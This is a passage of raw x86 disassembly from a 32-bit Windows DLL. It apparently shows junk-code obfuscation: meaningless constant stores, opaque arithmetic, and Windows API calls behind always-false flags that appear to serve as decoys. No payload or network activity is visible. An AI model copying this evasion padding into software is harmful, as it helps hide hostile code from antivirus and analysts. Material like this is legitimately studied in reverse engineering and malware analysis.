mov dword [ebp - 0x18], eax
jmp 0x1002d15e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1fc], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002d14d
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], 0x13
jle 0x1002d2fb
or edi, 0xffffffff
mov dword [ebp - 0x24], 0xefa9d19a
xor edx, edx
mov dword [ebp - 0x34], 0xe4b9a733
mov dword [ebp - 0x38], 0xfffffffc
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x3c], 0x141c5ab2
mov dword [ebp - 0x24], 0x914d
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setge dl
cmp dword [ebp - 0x34], edx
jge 0x1002d1bb
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x14], eax
jg 0x1002d1cf
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x14], eax
je 0x1002d1d1
mov edx, ebx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1fc]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
inc edx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x20], 0x85869896
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setge dl
xor eax, eax
cmp edx, 0xf4f2
setle al
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x1002d28a
xor eax, eax
xor edx, edx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x1fc]
setle dl
sub eax, edx
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x3c], eax
jne 0x1002d2f5
jmp 0x1002d2e8
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x4c], 0xfffffffd
mov eax, dword [ebp - 0x3c]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xc2cf
setle cl
sub ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
add ecx, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
jne 0x1002d2e3
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002d2e5
mov eax, ebx
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x13
jg 0x1002d177
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
mov dword [ebp - 0x34], 2
xor eax, eax
cmp dword [ebp - 0x34], eax
jl 0x1002d5a6
mov dword [ebp - 0x44], 0xfffffffa
xor ecx, ecx
mov dword [ebp - 0x1c], 4
mov eax, dword [ebp - 0x44]
cmp eax, 0xf949
setge cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], 0x16
cmp dword [ebp - 0x1c], 0xfffffff1
jne 0x1002d368
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d35f
push 0x79e
push 0x2061
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff1
je 0x1002d33a
xor eax, eax
or edx, 0xffffffff
mov byte [ebp - 0xd], al
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x3c], 0x256a9ef7
mov dword [ebp - 0x20], 2
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x44], 0x37c57f39
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0x4af7bdd4
mov dword [ebp - 0x4c], 0x74fd5228
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x38], 0xfa6f
mov dword [ebp - 0x3c], 8
mov dword [ebp - 0x48], 0x2f603f55
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002d3df
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6fc], 0xb0881d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002d3c7
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002d3f1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa9c], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002d3e4
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xa98]
imul edx, eax, 7
mov eax, dword [ebp - 0x3c]
sub edx, eax
mov eax, dword [ebp - 0x24]
cmp edx, eax
setne cl
lea eax, [ecx - 0x64e4]
test eax, eax
jne 0x1002d423
cmp dword [ebp - 0x24], eax
je 0x1002d425
mov eax, ebx
mov dword [ebp - 0x20], eax
xor ecx, ecx
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
add eax, dword [ebp - 0x1c]
cmp eax, edx
setne cl
mov dword [ebp - 0xa98], ecx
mov eax, dword [ebp - 0x6f8]
inc dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x6fc]
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x24]
jl 0x1002d477
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
inc eax
neg eax
sbb eax, eax
inc eax
cmp eax, 0xc1dc0ac7
mov eax, dword [ebp - 0x1c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
imul eax, ecx, 0xa8f3
xor ecx, ecx
cmp eax, ebx
setl cl
xor ebx, ebx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x20], eax
or eax, 0xffffffff
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setg bl
neg eax
sbb eax, eax
xor edx, edx
neg eax
sub ebx, eax
mov eax, dword [ebp - 0x48]
cmp ebx, eax
mov eax, dword [ebp - 0x6f8]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
xor ebx, ebx
imul eax, ecx, 0xc99c
inc ebx
mov ecx, dword [ebp - 0x20]
add ecx, eax
xor eax, eax
cmp ecx, ebx
setg al
mov dword [ebp - 0x6fc], eax
cmp byte [ebp - 0xd], 0
je 0x1002d59b
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x1c], 0x1d
cmp dword [ebp - 0x1c], 0xffffffe3
je 0x1002d575
xor eax, eax
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d54b
push 0x1d76
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002d566
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d563
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x14
je 0x1002d550
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe3
jne 0x1002d524
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002d58d
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x12ac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
dec dword [ebp - 0x34]
jns 0x1002d30d
xor eax, eax
mov dword [ebp - 0x24], 5
cmp dword [ebp - 0x24], 8
jle 0x1002d5f5
mov dword [ebp - 0x24], eax
jmp 0x1002d5ed
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d5d1
push eax
push ebx
push 0x4fe
push eax
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d5ea
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x27
je 0x1002d5b8
jmp 0x1002d62a
mov dword [ebp - 0x20], 0x81ced8f6
xor ecx, ecx
mov dword [ebp - 0x44], 0x50a4ba31
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, ebx
setge cl
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x20]
sub ecx, 0xfffffffc
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x44], ecx
mov edi, 0xbeb0647d
xor eax, eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002d656
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd94], 0xca631852
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002d63d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x1002d6b6
mov ecx, 0x44455595
mov dword [ebp - 0x2c], 0xeb9ae77a
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002d6ab
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1108], 0xf3f6085e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002d692
xor eax, eax
dec dword [ebp - 0x3c]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1002d663
mov dword [ebp - 0x1c], 0xfffffff7
push 0xfffffffffffffff9
mov dword [ebp - 0x3c], 0x9cdc345f
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002d6ea
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4d4], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002d6d2
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d726
push eax
push 0x268d
push 0x514
push 0x1c9e
push 0x2090
push 0x1882
push 0x2081
push 0x15fe
push 0x2563
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002d732
add eax, 0x5b7d
je 0x1002d734
mov eax, ebx
mov dword [ebp - 0x3c], eax
xor ebx, ebx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setg bl
xor edx, edx
mov dword [ebp - 0x4d4], ebx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
xor eax, eax
add edx, ebx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002d783
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xda4], 0xca631852
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002d76a
xor eax, eax
xor edx, edx
mov dword [ebp - 0x1c], eax
inc edx
cmp dword [ebp - 0x1c], edx
jg 0x1002d7e6
mov ecx, 0x44455595
mov dword [ebp - 0x2c], 0xeb9ae77a
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002d7db
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1188], 0xf3f6085e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002d7c2
xor eax, eax
dec dword [ebp - 0x3c]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x1002d793
mov dword [ebp - 0x2c], 0xa2a3
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002d80e
push 7
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdb4], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002d7f9
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d828
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
xor eax, eax
mov edi, dword [sym.imp.GDI32.dll_MoveToEx]
mov ebx, dword [sym.imp.GDI32.dll_GetPixel]
mov dword [ebp - 0x1c], 0x13b91020
mov dword [ebp - 0x1c], 0xffffffe7
jmp 0x1002d8cc
mov dword [ebp - 0x18], 0x751c76d7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002d870
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf90], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002d857
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002d8c3
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d89b
push eax
push 0x155f
push 0x597
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d8c0
push 0x2256
push 0x1d6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x1002d875
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe5
jge 0x1002d847
push 7
pop ecx
mov dword [ebp - 0x20], ecx
xor edx, edx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], eax
xor eax, eax
inc eax
mov dword [ebp - 0x3c], eax
or eax, 0xffffffff
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x4c], 0xadd63529
mov dword [ebp - 0x44], 4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
sub eax, edx
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
or eax, 0xffffffff
sub eax, ecx
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x44], edx
jne 0x1002d963
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002d963
mov edx, eax
jmp 0x1002d968
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
sub ecx, 0x8e35
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x44], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002d9a4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
xor eax, eax
push 7
pop ecx
mov dword [ebp - 0x20], ecx
xor edx, edx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], eax
xor eax, eax
inc eax
mov dword [ebp - 0x3c], eax
or eax, 0xffffffff
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x4c], 0xadd63529
mov dword [ebp - 0x44], 4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
sub eax, edx
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
or eax, 0xffffffff
sub eax, ecx
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x44], edx
jne 0x1002da31
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002da31
mov edx, eax
jmp 0x1002da36
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
sub ecx, 0x8e35
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x44], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002da72
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
xor eax, eax
mov dword [ebp - 0x1c], 0x13b91020
mov dword [ebp - 0x1c], 0xffffffe7
jmp 0x1002db0a